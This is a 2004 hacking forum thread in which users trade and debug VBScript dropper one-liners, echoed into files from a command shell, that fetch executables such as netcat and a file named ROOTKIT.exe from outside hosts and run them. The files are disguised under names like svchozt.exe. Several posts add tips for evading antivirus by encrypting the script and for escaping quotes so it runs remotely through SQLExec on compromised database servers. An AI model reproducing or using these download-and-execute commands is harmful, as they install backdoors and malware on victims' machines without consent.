barty32
Jul 5 2004, 07:33 PM
hi,
i need your little help.
i heard something about upload by using vbs script.
so i found this nice stuff
| CODE |
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs echo xPost.Open "GET","http://alkausar.com/netcat.exe",0 >>webdown.vbs echo xPost.Send() >>webdown.vbs echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs echo sGet.Mode = 3 >>webdown.vbs echo sGet.Type = 1 >>webdown.vbs echo sGet.Open() >>webdown.vbs echo sGet.Write(xPost.responseBody) >>webdown.vbs echo sGet.SaveToFile "svchozt.exe",2 >>webdown.vbs
|
i tried this vbs script, but it didnt work.
has anybody an idea whats wrong.
da_cash
Jul 5 2004, 08:39 PM
try this way...
| CODE |
echo Dim HTTPGET >>c:\madefile.vbs echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:\madefile.vbs echo HTTPGET.Open "GET", "http://www.yoursite.com/nc.exe", false >>c:\madefile.vbs echo HTTPGET.Send >>c:\madefile.vbs echo DataBin = HTTPGET.ResponseBody >>c:\madefile.vbs echo Const adTypeBinary=1 >>c:\madefile.vbs echo Const adSaveCreateOverWrite=2 >>c:\madefile.vbs echo Dim SendBinary >>c:\madefile.vbs echo Set SendBinary = CreateObject("ADODB.Stream") >>c:\madefile.vbs echo SendBinary.Type = adTypeBinary >>c:\madefile.vbs echo SendBinary.Open >>c:\madefile.vbs echo SendBinary.Write DataBin >>c:\madefile.vbs echo SendBinary.SaveToFile "c:\nc.exe", adSaveCreateOverWrite >>c:\madefile.vbs |
I've tried it several times and it worked for me...
DumpZ
Jul 5 2004, 08:45 PM
search this board there is a very big topic with 3 methods how to transfer using vbs. I've got it but not gonna post something which isn't mine
n0vun
Jul 6 2004, 12:28 AM
I believe the 'ADODB.Stream' thing was kill by Microsoft in their lastest winblows update.
daguilar01
Jul 6 2004, 12:38 AM
i just updated my winxp, installed the adodb.stream thign, restarted, adn tried a vbs download script that used the adodb.stream and it worked fine, downloaded the file like normal
EXPLOiTED
Jul 6 2004, 03:28 AM
dont work when echoed in a shell
mamep
Jul 6 2004, 03:49 AM
working fine with me also

check your clopy paste
kenshin_efx
Jul 6 2004, 04:26 AM
| QUOTE (EXPLOiTED @ Jul 6 2004, 03:28 AM) |
| dont work when echoed in a shell |
humm and sqlexec not?
a stupid question, how run this...only write file.vbs ??
Partizaan
Jul 6 2004, 06:27 AM
ECHO Set xPost = CreateObject("Microsoft.XMLHTTP") >backup.vbs
ECHO xPost.Open "GET","http://81.X.X.X/ROOTKIT.exe",0 >>backup.vbs
ECHO xPost.Send() >>backup.vbs
ECHO Set sGet = CreateObject("ADODB.Stream") >>backup.vbs
ECHO sGet.Mode = 3 >>backup.vbs
ECHO sGet.Type = 1 >>backup.vbs
ECHO sGet.Open() >>backup.vbs
ECHO sGet.Write(xPost.responseBody) >>backup.vbs
ECHO sGet.SaveToFile "ROOTKIT.exe",2 >>backup.vbs
ECHO Dim Partizaan >>backup.vbs
ECHO Set Partizaan = CreateObject("WScript.Shell") >>backup.vbs
ECHO Partizaan.Run "ROOTKIT.exe" >>backup.vbs
cscript backup.vbs
I have been toying with it to.
This one works te best.
som3aa
Jul 6 2004, 08:39 AM
works great for me too
SkullSplitter
Jul 7 2004, 02:08 PM
this is the Dropper-Script
it is detected by the most AVīs
if you wanna use it, write your own converter, to crypt the script
then it worx perfect
niko.noname
Aug 3 2004, 01:03 PM
I can't execute it remotely via sqlexec when using "-signs.
If I use instead the '-sign it returns me a compilation-error.
Escaping with \ doesn't work too, anybody an idea???
Thank you all!
BBQ CD
Aug 4 2004, 01:51 AM
even if you re able to get the code on that box via sqlexec, it won't help help you uploading your files ... Microsoft patched this hole with a security update weeks ago!
Hard to find any machine with this patch missing!
R0x0r
Aug 4 2004, 09:39 AM
Nice gonna check it out.. damn anoing when ftp are missing
Lanig
Aug 4 2004, 05:04 PM
| QUOTE (niko.noname @ Aug 3 2004, 01:03 PM) |
I can't execute it remotely via sqlexec when using "-signs. If I use instead the '-sign it returns me a compilation-error.
Escaping with \ doesn't work too, anybody an idea???
Thank you all! |
everytime u should enter a quote enter a double one ("")
for example:
ECHO Set xPost = CreateObject(""Microsoft.XMLHTTP"") > temp.vbs
that will make the script work in SQLExec
mortello
Aug 4 2004, 05:19 PM
| QUOTE (Lanig @ Aug 4 2004, 05:04 PM) |
| QUOTE (niko.noname @ Aug 3 2004, 01:03 PM) | I can't execute it remotely via sqlexec when using "-signs. If I use instead the '-sign it returns me a compilation-error.
Escaping with \ doesn't work too, anybody an idea???
Thank you all! |
everytime u should enter a quote enter a double one ("") for example: ECHO Set xPost = CreateObject(""Microsoft.XMLHTTP"") > temp.vbs that will make the script work in SQLExec
|
wow, thanks for the tip....didn't know you couldn't use simple quotes in SQLExec
niko.noname
Aug 20 2004, 12:49 PM
Thank you very much for the double-quote tip, i'll check it out!
SupaSlick
Sep 8 2004, 06:40 AM
thanx gonna try this out for myself
nuke_storm
Sep 8 2004, 04:10 PM
sorry to hack this thread but as i am a new member, i cant start a topic,
i am not one of the elite hackers but still i keep tweaking with the net and there is something i want to share.
i have a free web space at tripod.co.uk, but they allow only 5 files at a time to upload, this was very hectic as i wanted to upload a free blog script to my domain.
then i found this free zip utilities for php
PCL ZIP i uploaded two files pclzip.lib.php and unzip.php. code for unzip.php is below
<?php
$filename = $_GET['filename'];
require_once("pclzip.lib.php");
$archive = new PclZip($filename);
if ($archive->extract() == 0) {
die("Error : ".$archive->errorInfo(true));
}
?>
so now u only have to upload one zip file, and then call unzip.php with a url like
http://domain/unzip.php?filename=<yourzippedfilename>i know i am a newbie for this kinda stuff, ignore this if u don't find it useful.
regards
nuke
illwill
Sep 8 2004, 10:19 PM
heres a paper i started thats not finished
it gives a few examples on how to transfer files from a shell prompt
DerangeD
Sep 10 2004, 03:13 AM
you missed one in that tut
dont see rcp transfer anywhere also handy when ftp or tftp are renamed or deleted
nice txt though !
LiquidH2O
Oct 1 2004, 12:35 PM
Thank you very much for lots of informations in this topic!
VBS Works perfect!
Regards
LiquidH20
8b@ll
Oct 12 2004, 12:56 PM
Hmmm...i dont really know, where i have to inside my ftp-server with my servudaemon.exe + ini...
ECHO xPost.Open "GET","http://81.X.X.X/ROOTKIT.exe",0 >>backup.vbs
there is a "Get" "HTTP"
can i change it in FTP?
thx
8b@ll
illwill
Oct 13 2004, 01:16 AM
QUOTE(DerangeD @ Sep 10 2004, 03:13 AM)
you missed one in that tut
dont see rcp transfer anywhere also handy when ftp or tftp are renamed or deleted
nice txt though !

well oyu can always submit a short tutorial on rcp transfer and ill add it to the textfile
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.